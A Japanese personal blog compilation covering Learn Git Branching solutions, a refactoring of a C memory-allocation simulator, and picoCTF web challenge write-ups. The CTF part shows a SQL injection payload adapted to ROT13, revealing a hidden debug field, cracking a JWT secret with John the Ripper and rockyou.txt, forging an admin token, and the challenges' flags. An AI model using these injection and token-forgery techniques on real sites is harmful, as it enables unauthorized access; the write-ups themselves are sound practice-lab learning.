問題文の中で「コミットの順序を変更」という一文があったのでそれをキーワードにして検索してみる。するとrebaseの-iオプションを使えばこれを実現できることがわかったので、試しに「git rebase -i two」と入力してみたらコミットの順序変更のUIが表示された。ただ...UIの不具合か分かんないけどドラッグ&ドロップが上手くいかなかった(現場とかだとUIじゃなくてエディタで作業するみたいなので本質的な所じゃないなと思ってスルー)

ともあれ、だいたい勝手はわかったので、ブランチone,ブランチtwo,ブランチthreeとそれぞれ処理していった。先述のバグのせいで正解することはできなかったけど、上に示した手順でやればきっと問題ない(はず)。

一つ気になるのは...無駄な作業もありそうだなぁという点。なんとなく省略できる気がするけど...よくわからなかった

...一応模範解答も確認しておこうと思って、「show solution」というコマンドを実行した(これの存在をもっと早く知りたかった)

$ git checkout one    
$ git cherry-pick C4 C3 C2    
$ git checkout two    
$ git cherry-pick C5 C4 C3 C2    
$ git branch -f three C2

cherry-pickとかいう完全初見のコマンド使ってた。どうやら「必要なコミットだけを取り込む」コマンドっぽい。機会があったら別の問題で使ってみようと思った。


mixed1(4−1)

$ git checkout master    
$ git cherry-pick C4

あれ...? これ絶対3-2と出題の順番間違えてない...?


余談
ここでLearn git branchingが実は2つ(新版と旧版)があることに気付きました。
ここから新しい方で解いています。
(旧:https://k.swd.cc/learnGitBranching-ja/
 新:https://learngitbranching.js.org/?locale=ja


mixed2(4−2)

$ git rebase -i master
$ git commit --amend
$ git rebase -i master
$ git branch -f master C3’’

過去のコミットにちょっとした修正を加えたい時に「コミットの順序を入れ替えてから”commit --amend”して、その後順番をもとに戻す」という方法があるのを知った。聞いた感じ便利そうだし(コンフリクトに気をつける必要はありそうだけど)、直感的にもわかりやすかったのでスムーズに解けた。


mixed3(4−3)

$ git checkout master
$ git cherry-pick C2
$ git commit --amend
$ git cherry-pick C3

前問をcherry-pickで解くという問題。特筆事項なし。


mixed4(4−4)

$ git tag v0 c1
$ git tag v1 c2
$ git checkout c2

久々のやるだけ問題。
タグの使い方に慣れる。


mixed5(4−5)

$ git commit 

ここは、問題を解くというわけではなくて「git describe」に慣れるためにある。例えば「 "git describe C4"と入力したらどんな結果になるかな」と予め予想を立ててから実際に実行して確かめてみるときっとイメージが掴みやすいと思う。


advanced1(5−1)

$ git rebase master bugFix
$ git rebase bugFix side
$ git rebase side another
$ git rebase another master

今までの復習


advanced2(5−2)

$ git branch bugWork HEAD~^2~

HEADから目的地まで一回の命令だけで到達する問題。
当然ながら解答は上記以外にも何通りか存在する(HEAD^^2^とか)


advanced3(5−3)

$ git rebase -i one
$ git branch -f master C5
$ git rebase -i two
$ git branch -f master C5
$ git branch -f three C2
$ git branch -f two C2''
$ git branch -f one C2'

多分3-2と全く同じ問題(↑の解法はその時のもの)
これをcherry-pickで解いてみた。

$ git checkout one
$ git cherry-pick C4 C3 C2
$ git checkout two
$ git cherry-pick C5 C4 C3 C2
$ git branch -f three C2

より短くなった。


ひとまずmain編は解き終えたので、Remote編はまた今度挑戦します。とりあえず一通り解いてみて、gitのコマンドを理解したり 初学者がイメージを固めたりするのにはちょうどいい教材だと思いました。ただ、良くも悪くも直感的すぎる(現場で使用するのとはちょっと隔たりがある)ので、実際にgitに触れたりケーススタディをする等、もうワンステップがないと”使いこなす”ことは難しいと感じています。


ここからは余談ですが...
今回やったLearn git branchingでは、コミットのハッシュが"C1"みたいなすごく単純な形で表されていました。しかし実際のgitでは、(ご存知の方も多いでしょうが)コミットのハッシュは08ab3...42270みたいな、16進数の長さ40の文字列で表されています。僕が初めてgitを勉強した時は、この”ごちゃごちゃした値”が至る所に出てくるのが受け入れられず(でもなんか意外といろんな所で使われるから蔑ろにするわけにもいかず)もやもやした気持ちで勉強していました。ですがこの"ハッシュアレルギー"を、僕はgitの内部構造を勉強したおかげで克服することができました。仕様を知ることで、、ハッシュの意味等もより深く理解できるようになり、gitがどのように情報を扱っているのかもわかるようになりました。参考URLを張っておきますので気になる方はみてみてください。

参考:
画像つきでわかりやすくまとめられているブログです:
Git の仕組み (1) - こせきの技術日記

公式ドキュメント10章:
Git - 配管(Plumbing)と磁器(Porcelain)

リーダブルコードを読んで過去の自分のコードをリファクタリングしてみた

リーダブルコードを読んでみて、理解定着のために自分のコードをリファクタリングをしてみました。今回僕が目指したのは「正しさ」というよりは「自分の理解」なので、温かい目で見てもらえると嬉しいです。

さて今回使用したコードですが、私が学部2年の時にC言語で書いた"メモリ管理シミュレーション"で、ざっくりと説明すると、OSのメモリ管理アルゴリズム(ファーストフィットとベストフィット)を視覚的に捉えられるようにするためのプログラムです。もちろん本当にメモリ操作をしているというわけではなくて、メモリに見立てた図を標準出力するだけです。

プログラムを実行すると、コマンド入力が求められます。
利用可能なコマンドは以下の通りです。

コマンド 使い方 意味
a a メモリサイズ "メモリサイズ" 分のメモリを割り当てる
d d ノードID "ノードID" で指定したノードを解放する
c c 空きセグメントをまとめる(デフラグ)
p p ノードリストを表示する

動作イメージ

はじめに容量64KBのメモリが以下のように存在していて

----------------64(H)----------------

ここに「a 4」というコマンドを入力すると(プロセスに4KB分を割り当てると)

-4(P)- ----------60(H)---------------

というふうに空きセグメントを分割して割り当てます(P:プロセス,H:空きスペース)

※メモリ管理のアルゴリズムには(代表的なOSのメモリ管理アルゴリズムである)First-fitとBest-fitが利用可能で、デフォルトではFirst-fitを利用するようになっています。実行時に -bオプションを付与することによりBest-fitに変更することができます。


割り当てたプロセスにはIDが設定されており、この値は0から始まって自動でインクリメントされていきます。このIDはプロセスを解放するときに使用され、先ほどの例であれば「d 0」のように入力すれば

-----------------64(H)---------------

となります。


ちなみに、先ほどのコマンド一覧で登場した「p」コマンドを使用すると、
その時点でのメモリの状況を確認することができます。

command:p
  P(0 0 5) P(1 5 6) P(2 11 8) H(19 45) 
 |PPPPP|PPPPPP|PPPPPPPP|HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH|

上記が実行例です。メモリの状態は

P(ID,開始アドレス,サイズ) H(開始アドレス,サイズ)

という表記でまず示され、続く1行で'P'or'Hで表されています(全64文字)。

実際は、pコマンドを毎回実行せずとも、aまたはdコマンドを実行した際にpコマンドも自動で呼び出されます。


次に説明するのはcコマンドです。これは断片化した空き領域を統合するコマンドで、一番わかりやすい言葉で置き換えると"デフラグ"です(ただ、dコマンドは既に別のコマンドとして使用しているため、compactionから"c"を取ってきています)

例えばメモリが以下のような状態であったとします

-4(P)- -4(H)- -20(P)- ----18(H)---- ---18(P)---

この状態でcコマンドを利用すると、断片が整理されて

-4(P)- -20(P)- ---18(P)--- --------22(H)-------

という状態になります。


コマンドの説明は以上ですが...実はこのプログラムにはもう1つ機能があります。

このプログラムは当初、First-fitとBest-fitのどちらが優れているかを調べるため(の指標を得るため)に書きました。一般に、First-fitは「メモリ効率は悪いが早い」Best-fitは「メモリ効率は良いが遅い」と言われており、僕はこの”効率”と”早さ”について調べるために、compaction()が実行された回数や連結リストを辿った回数などを記録しています。

という訳で、プログラムを終了時にこの統計情報も出力されるようになっています
(なお、-dオプションをつけて実行すると毎コマンド実行時に統計情報が出力されます)

コード

リファクタリング前:
Programs/MEM_ALLOC.c at master · ymhr-u/Programs · GitHub
リファクタリング後:
Programs/MEM_ALLOC_FIXED.c at master · ymhr-u/Programs · GitHub

(このリポジトリは、僕が学部時代に授業や課外で実装したコードをまとめたもの)

リファクタリング前のものは、パッと見ただけでも読みにくいということがわかると思います。変数の名前も使い方も雑だし、必要なコメントが無いのに不必要なコメントが残っていて...実際自分もリファクタリングをしようと2年ぶりに見返した時に嫌になりました。

変更点

変数名(関数名)

リーダブルコードでも、変数名については色んなところで言及されています。わかりやすいコードを書く上で、変数名を適当に設定することは許されません。

今回、相当な数の(8割以上?の)変数名を変更したのでそれを一から説明しても良いのですが...さすがにとんでも無い文量になるので、1つだけピックアップして紹介したいと思います。

ダメな変数名の例

int alloc_flag;  /*ここが1の状態でallocate()を実行するとbest_fitを実行*/

コメントもつけていますが要はフラグ変数です。intで定義しているという点はいったん置いておいて(C言語なのでbool型がありません)、"alloc_flag"という名前を見て「メモリ管理のアルゴリズムを切り替える変数なんだな」と理解できる人がいるとは思えません。
せめて"flag_bestfit"とかであれば最低限の意図は汲み取ってもらえるかもしれませんが...仮にそうであったとしても、「値が0の時にbest_fitなのか、1の時にbest_fitなのか」までは明確に伝えられません。役割を誤解なく的確に伝えられる名前が最適なので、それを考慮して今回は

int do_bestfit; /*フラグ変数:TRUEの状態でallocate()を実行するとbest_fitを実行*/

と書き換えました(#define TRUE 1として定義しました)

この他にも例えば、

  • 同じスコープで同じ役割を持つ変数が違う名前で定義されていたり
  • ループ変数で外側にj、内側にiを使っていたり
  • 使いもしない変数が至る所に散らばっていたり

といった感じでとにかく酷かったです。本当は全部説明したいのですが...文字数がとんでもないことになる(実際書いたら数万字になった)ので省きます。コードを見て確認していただけますと幸いです。参考までに、変更した変数名はこの記事の最後に一覧でまとめておきます。

形による見やすさ

今回リファクタリングしてみて、意外と大切だなって感じたのが「形」です。
まずは、リファクタリング前の以下のコードを見てください。

new->begin = x->begin+size ;
new->segment=-1;
new->size=x->size-size;
new->prev  = x;
new->next  = x->next;

x->next= new;
x->segment  = segno++;
x->size = size;

これはallocate関数の中から抜粋しました。xとnewはポインタであるため、中の要素にアクセスするのには->(アロー)を使います。ぱっと見、ごちゃごちゃしてるという印象を受けるのでは無いでしょうか?

これ、=の位置を縦に揃えるだけでかなり見やすくなります。

new_segment -> segment_id    = -1;
new_segment -> begin_address = found_segment -> begin_address + requested_mem_size;
new_segment -> size          = found_segment -> size - requested_mem_size;
new_segment -> prev_node     = found_segment;
new_segment -> next_node     = found_segment -> next_node;

 found_segment -> segment_id = seg_id_counter++;
 found_segment -> size       = requested_mem_size;
 found_segment -> next_node  = new_segment;

実際は、変数名が長くなっていますし見づらくなってもおかしくないんですが、スッと理解できるようになっていると思います。場合によってはここからさらに():丸括弧で囲むというのもいいと思います。例えば2行目右辺を↓みたいに。

 (found_segment -> begin_address) + requested_mem_size; 

まぁどこまでやるかは人それぞれだと思いますが、常に意識しておくのは大切です。


あとコード整形というところでいうと、今回はブロック{}の改行位置とかも意識しました。例えば、if文を書くだけでも

//1
if(){}

//2
if(){
}

//3
if()
{
}

...のように改行の仕方は様々です。

今まで自分は1,2つをよく使っていました。ただ、ネストが深くなったりブロック内部の行数が増えた時に、3つ目を使った方が見やすいと感じるケースもあって、そのあたりの使い分けがとても難しく感じました。また「自分にとって読みやすいと思っても、統一性がなければひょっとしたら他の人からは汚く見えるかもしれない...」とかも考え、いろいろ試して、最終的に行きついたルールは

  • 1,2行程度の短いブロックになるなら2番目を使う
  • それ以上の行数になるなら3番目を使う

...で、原則これに則ってリファクタリングしました。
が、これが正解かと言われると難しいです...。

まぁ会社でコード書くことになったら(おそらく)コーディング規約とかあると思いますし、基本的にはそれを守る形でいいと思っています...というか、あってくれるとありがたいです...。

コメント

意識したのは「コードの動作をそのまま説明したコメントは基本的に書かない」ということです。本の中では”上位レベルのコメント”とも言われていましたが、つまりは「動作そのものを説明するのではなく、その動作の意味や目的を説明する」ということを心がけていました。

そういった意味で言うと、修正前のコードには”良い”コメントはほとんどなく、「なぜか日本語と英語のコメントが混在していて」「説明が不親切すぎて伝わらない」...そんなものばかりでした。

とは言え、いざ良いコメントを書こうと意識してみても...それが意外と難しいことに気付きました。必要以上にコメントを残してしまうと見づらくなってしまうし、そもそも上位レベルのコメントってどの程度まで上位である必要があるのか...などいろいろ考えさせられました。

今回どんなコメントを書いたのかに関しては、修正後のプログラムをご確認いただけますと幸いです。


構造

先ほど言及した ”形による見やすさ” とちょっと似た話かもしれませんが、今回はそういった表面的なものではなくて、「制御フロー」「巨大な式の分割」「下位問題や汎用コードの抽出」といった、より内部的な整形になります。

今回のリファクタリングでも結構な量の改善点が見つかりました。
例えばこの処理

// switch文のcase 'a'から抜粋しました↓

if(bflag){
	printf("allocate %dKB (best fit)\n",a);
	alloc_flag = 1;
	if(a<=0){printf("allocate size error\n");}
	else{allocate(a);}
	a = -1;
	break;
}else{
	printf("allocate %dKB (first fit)\n",a);
	alloc_flag =0;
	if(a<=0){printf("allocate size error\n");}
	else{allocate(a);}
	a = -1;
	break;
}

そもそも改行位置などに問題があって見にくいのですが...この処理では、bflagの値によって、メモリをFirst-fitで割り当てるかBest-fitで割り当てるかを判断しています。これ、実は冒頭に出てきたalloc_flagという変数と全く同じはたらきをする変数で、そもそも存在意味がありません。むしろ同じ役割の変数が2つ以上存在していることによって混乱する人が出てくるという意味では"悪い"変数です。

また、全体の構造について見てみると、if{}の中身とelse{}の中身がほとんど同じなので、共通部分はまとめてしまった方がすっきりするし確実に読みやすくなるんです。改善したものが↓になります。

// aという変数名は、後ほどrequest_sizeという名前に変えてますが、
//上記コードとの比較のためにあえてaのままで残しています。

if (a <= 0){
       printf("Can't allocate. Request size is too small.\n");
       break;
}

if (do_bestfit){
      printf("allocate %dKB (best fit)\n", a);
}else{
      printf("allocate %dKB (first fit)\n", a);
}

allocate(a);
break;

これだとどうでしょうか。かたまりが小さくなった分、読みやすくなったと思います(修正前のコードがひどすぎただけ...とも言えそうですが、まぁ数年前に書いたコードなので多めに見てください)

こんな感じの修正を全体的に施していたところ、プログラムの構造をはっきりと捉えられるようになったおかげで、無駄な処理を取り除けたりバグを発見できました。なお今回はプログラムを1つのファイルにまとめてしまっているために全体的にとても長くなっていますが、ヘッダや実装を分けることでもっと見やすくなります(今回はそこまでやっていません)

感想

もうすでに6500字超えちゃってるのでさすがにこれ以上は書きませんが、「コードをきれいに書く」というたったそれだけのことでも相当頭を使うというのが今回のことで本当によくわかりました(今までそういったことをサボっていたから余計にそう感じるんだと思いますが...)

修正前のコードはきっと自分で書いたものじゃなければまともに読めなかったと思いますし、さすがにそういったコードを社会に出て書くわけにはいかないので...今回とてもいい機会でした。修正後のコードが「読みやすい」かどうかはわかりませんが、少なくとも意識的な部分は矯正できたと思います。


ーおまけー
以下、変数名の変更箇所一覧です(抜けがあるかもしれません)

外部変数

修正前 修正後 意味
segno seg_id_counter 新規ノード作成時に割り当てるセグメント番号のカウンタ変数
debug -削除- (do_debug変数と同じ)
n_alloc num_allocation allocate()を実行した回数
n_dealloc num_deallocation deallocate()を実行した回数
n_traverse num_taverse allocate() でリンクをたどった回数の積算
alloc_flag do_bestfit フラグ変数:TRUEの状態でallocate()を実行するとbest_fitを実行
total_req_size total_reqested_size allocate()で要求されたメモリサイズの積算
non_exist_seg num_notExist_segID deallocate(id)で、id指定されたセグメントが存在しなかった回数
not_enough_mem -削除- (num_oversize_reqestと同じ)
n_compaction num_compaction compaction()を実行した回数
over_size num_oversize_reqest 空セグメントのサイズ合計以上の要求を行った回数
dflag do_debug フラグ変数:TRUEにすると、allocate()実行ごとに統計表示
bflag -削除- (do_bestfitと同じ)

main() 内

修正前 修正後 意味
cmd cmd 入力コマンド
a arg 入力引数

allocate(), deallocate()内

修正前 修正後 意味
size requested_mem_size 割り当てるメモリサイズ
num_seg target_id 削除対象のセグメントID
x found_segment first-fit/best-fitで見つけた空きセグメント
new new_segment メモリ分割後に空きになるセグメント
cur index_node ループ変数として使われるnode型変数

merge(), compact()内

修正前 修正後 意味
p deleted_node 削除されたnode
tail_node(新規追加) 連結リストの末尾node
before_begin -削除- (使われないのに宣言されていた)
after_begin -削除- (使われないのに宣言されていた)

pico CTFでweb問題を解いてみる #5

 残すところあと1問。やっていきたいと思います。

Java Script Kiddie 2

https://play.picoctf.org/practice/challenge/33?category=1&page=2

Java Script Kiddieシリーズの2つ目。
Java Script Kiddie1と同様、ページにはフォームとボタンだけが設置されていて、文字を入力してsubmitボタンを押すと破損したpng画像が出てくる。

早速ソースをみてみる。

<script>
	var bytes = [];
	$.get("bytes", function(resp) {
		bytes = Array.from(resp.split(" "), x => Number(x));
	});

	function assemble_png(u_in){
		var LEN = 16;
		var key = "00000000000000000000000000000000";
		var shifter;
		if(u_in.length == key.length){
			key = u_in;
		}
		var result = [];
		for(var i = 0; i < LEN; i++){
			shifter = Number(key.slice((i*2),(i*2)+1));
			for(var j = 0; j < (bytes.length / LEN); j ++){
				result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
			}
		}
		while(result[result.length-1] == 0){
			result = result.slice(0,result.length-1);
		}
		document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
		return false;
	}
</script>

先日解いたものと共通している部分がかなり多い。変更点としては、「keyが32桁になっていること」と「assemble_png()の中のshifterの求め方」くらいで、後者について理解できれば解けそうな気がする。

といってもコードを読めば別段難しいことはなくて、変数shifterには、フォームから入力した文字列keyの i*2文字目が入ることになっているよう(つまり、keyの奇数番目の文字には意味が無いっぽい)

そこまでわかれば、前回の問題のようにhttps://jupiter.challenges.picoctf.org/problem/38421/bytesに飛んで、書いてある数字の羅列を16列に整形してからpngのファイルシグネチャを考慮しながら正しい複合キーを求めればよさそう(詳しいことはJava Script kiddy1のwriteupに書いてあります)

整形には、前回書いたコードを使い回し。

// 雑に書いてます。見辛かったらごめんなさい、
#include <iostream>
#include <vector>
#include <iomanip>
using namespace std;

int main() {
  int byte_num, count16=0;
  vector<int> splited_bytes;

  while(cin >> byte_num){
    splited_bytes.push_back(byte_num);
  } 

  for (auto it = splited_bytes.begin(); it != splited_bytes.end(); ++it){
    count16++ ;
    cout << setw(3) << *it << " ";
    if(count16  == 16){
      count = 0;
      cout << endl;
    }    
  }

}

f:id:unyamahiro:20201130120216p:plain

これによって、複合キー(奇数番目の数字を除外したもの)は

81497811[a][b][c]85315
([a][c]は2or3or4, [b]は6or7or8or9)

の36通りまで絞り込むことができた。
入力キーが32桁であることを考慮すると、

8010409070801010[a]0[b]0[c]08050301050
のように、奇数番目に適当な文字を挿入しておけばよさそう。

これで総当たりを試すと
80104090708010104080308050301050
を入力した時にpng画像でQRコードが表示された。

f:id:unyamahiro:20201130121533p:plain

これを読み込むと
picoCTF{14fb9aed341eac600d5322c198b64c87}

解けた!

あとがき

picoCTFのweb問題について一通り解き終えることができました。どうしてもわからなくてカンニングしてしまった問題も少しありましたが、思っていた以上に自力で解けた問題が多くて嬉しかったです。

はじめにCTFを解こうと思った理由としては”Webまわりの色んなコードを読みたい”というところだったのですが、正直その部分関しては...十分に達成できたとは言い難いです。"コードを読む"というよりも"知識を得る"がメインになってしまった気がします。

とはいえ、それはそれでよかったと思います。
昨日の夜に、Twitter1章:サーバサイドと仲良くなろう | ソーシャルゲームのクライアントエンジニア入門以前という記事が流れてきました。このページの「認証って何」という項目の中に、”JaWT”という問題にも登場したJWTが登場してました。JWTはweb開発とかにしか使われていない技術だと無意識に思い込んでいたのですが、ゲーム開発の現場とかでも広く使われているものだということを知りました。今回僕はWeb系の問題しか解いていませんでしたが、そこで得た知見は必ずしもwebでしか役立たない というわけではないことを改めて感じました。

楽しかったので、また別の常設ctfでweb問題探して解いてみます。

pico CTFでweb問題を解いてみる #4

今日もやっていきます。
web問題は残り3つっぽい。

Irish-Name-Repo 3

https://play.picoctf.org/practice/challenge/8?category=1&page=1

irish-name-repoシリーズ第三弾。指定されたページに飛んでみると見慣れた画面が現れる。これまでとの違いは、adminのログインフォームに"ユーザー名"欄が無い(パスワード欄のみある)こと。

いろんな文字列を入力して挙動を調べようとしたけれど別段不自然な点とかは見つけられなかった。とりあえずパスワード欄に「' or 'a' = 'a」を入力してみたけれど、それも弾かれてしまった。

一旦ここでHTMLを眺めてみる。
するとこんな一行を見つけた。

<input type="hidden" name="debug" value="0">

typeがhiddenになってて怪しい (...と言いつつ仕様とか使い方とかちょっと曖昧だったので、ここでhiddenについてちょこっとだけ調べた)。debugなんて名前ついてるし、もうここまで来たら正解に辿り着いたも同然だなと思いながら、htmlを編集。

<input type="text" name="debug" value="0">

上記のようにtypeを変更したら、送信ボタンの上に、隠れていたフォームが出現した。値のところには"0"が入っていたのでとりあえずこれを"5"に変えてみて、ついでにパスワード欄には12345とか適当な文字列を入力して一度送信ボタンを押してみる。

すると先ほどとは違って、"Login failed"の文字の上に以下が表示された

password: 12345
SQL query: SELECT * FROM admin where password = '12345'

まぁ...これを見たところでそんなに嬉しくない(想像通りのSQL文だった)

一旦前のページに戻って、パスワードの部分をアルファベットに変更してみる。

すると

password: abcde
SQL query: SELECT * FROM admin where password = 'nopqr'

変化あり。
どうやら入力されたパスワードをROT13で(お気持ち)暗号化してるみたい。
さっき「' or 'a' = 'a」が弾かれたの理由もこれ。

ということで、orの部分をbeに変更して「' be 'a' = 'a」として実行すると

picoCTF{3v3n_m0r3_SQL_06a9db19}

JaWT Scratchpad

https://play.picoctf.org/practice/challenge/25?category=1&originalEvent=1&page=1

指定ページに飛んでみた。
どうやらオンラインメモ帳サービスということらしい。フォームに名前を書いてログインすると、「Hello **(名前)」と表示されてメモ帳が使えるようになる仕様。問題文を読む限り、adminでログインすればいいみたい。

とりあえずフォームにadminと入力してみると「YOU CANNOT LOGIN AS THE ADMIN! HE IS SPECIAL AND YOU ARE NOT.」と怒られた。何から手をつけていいかわからなかったので、まずはサイトをいろいろ見てみることにした。まず気になったのは問題タイトルにもなっているJaWTという単語。指定ページ上部にも「powered by JWT」と書いてあるし、ちょっとその辺から調べてみる。

JWTはJSON web Tokenの略で、(詳細についてはネットで調べればたくさん情報が出るので省くけれど)一言で言うなら「”署名”を使うことで情報を安全に正確に伝えることができるようになったJSON」である。

JWTは3つの文字列を.(ドット)で区切ることで以下のように表現される。

(1).(2).(3)
1. ヘッダー:署名にどんなアルゴリズムを用いるか
2. ペイロード:伝えたい任意の情報
3. シグネチャ:署名

上記のうち、1と2には「JSON形式で表したものをbase64エンコードした文字列」が入り、3には「1と2を連結させたものをSHA-256でハッシュ化し、それをもとに1で指定したアルゴリズム(HMACまたはRSA)によって署名したもの」が入る。

さて、ここまでわかればこの問題を解き進めることができる。
問題のサイトにとりあえずTestUserという名前でログインすると、Cookieにjwtという属性が追加されており、値は以下のようになっている。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiVGVzdFVzZXIifQ.2BxYaDEVw5nMTi4b1rkjjXnsWhjbmjTn2hhFfmGYG0U

文字列が.で3分割されているのでこれがjwtということがわかる。JSON Web Tokens - jwt.ioというサイトでjwtをデコードできるので、コピペして試してみると、

ヘッダー

{
  "typ": "JWT",
  "alg": "HS256"
}

ペイロード

{
  "user": "TestUser"
}

シグネチャ

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  [your-256-bit-secret]
)


ペイロードの部分に注目すると、user属性が(先ほど自分が設定した名前の)"TestUser"になっている。普通に考えれば、これを"admin"に書き換えたjwtを作り、cookieの値として設定すればいいのだろう。しかしそうなると問題はシグネチャ部分。[your-256-bit-secret]となっている秘密鍵がわからないことには偽装jwtは作れない。

jwtの攻撃例を調べてみたところ、ヘッダーのalg部分を"none"に書き換えてシグネチャ部分をごっそり削り取る(つまり「署名しないよ」というjwtに改ざんする)方法があるようで、これを試してみたものの、内部エラーと表示されてうまく行かなかった。

一旦詰まってしまったので、改めてJaWTサイトを見て手がかりを探してみる。するとページ下部に「気に入った名前がないなら、Johnみたいなかっこいい名前を使うといいよ!」という一文があって、なぜかJohnの部分がリンクになっている。クリックしてみると”John the Ripper”というプロジェクトのgithubのページに飛んだ。John The Ripperについては初めて聞いたけど、調べてみるとどうやらパスワードクラック用のツールらしい。これを使って秘密鍵を見つけてねということだろう。

早速使い方を調べてみた。
攻撃して学ぶJWT【ハンズオンあり】 | Money Forward Engineers' Blogに書かれている方法を使って全探索してみた。

$ ./john jwt.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst
Proceeding with incremental:ASCII
0g 0:00:30:17  3/3 0g/s 1786Kp/s 1786Kc/s 1786KC/s tm0kam74..tm0k35sd
0g 0:00:30:21  3/3 0g/s 1785Kp/s 1785Kc/s 1785KC/s kisch378..kiscis39
〜略〜
0g 0:01:23:12  3/3 0g/s 2269Kp/s 2269Kc/s 2269KC/s rlcm2try..rlcmunk4
0g 0:01:34:17  3/3 0g/s 2269Kp/s 2269Kc/s 2269KC/s u Niy8..u Nis3

1時間半くらい放置しても中々終わる気配がないので中断。

きっと時間をかければそのうち見つかるんだろうけれど、ワードリストを使って辞書型攻撃した方が効率的だろうと思って更にいろいろ調べてみると、何やら”rockyou.txt”というものがあるらしい。それを使ってみた。

$ ./john jwt.txt  --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepico        (?)     
1g 0:00:00:02 DONE (2020-11-29 21:03) 0.3424g/s 2532Kp/s 2532Kc/s 2532KC/s ilovepinkxxx..ilovepatopollo
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

ilovepico ←これが秘密鍵らしい。一瞬で見つかった。恐るべし。

さて、ここまでわかればhttps://jwt.io/ で偽装jwtを作るだけ。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s

完成品↑

これをcookieに設定したところ、"Hello admin!"と表示されて、メモ帳の部分にFlagが表示されていた。とても嬉しかった。

picoCTF{jawt_was_just_what_you_thought_44c752f5}



長くなったのでここまで。あと1問頑張りたい。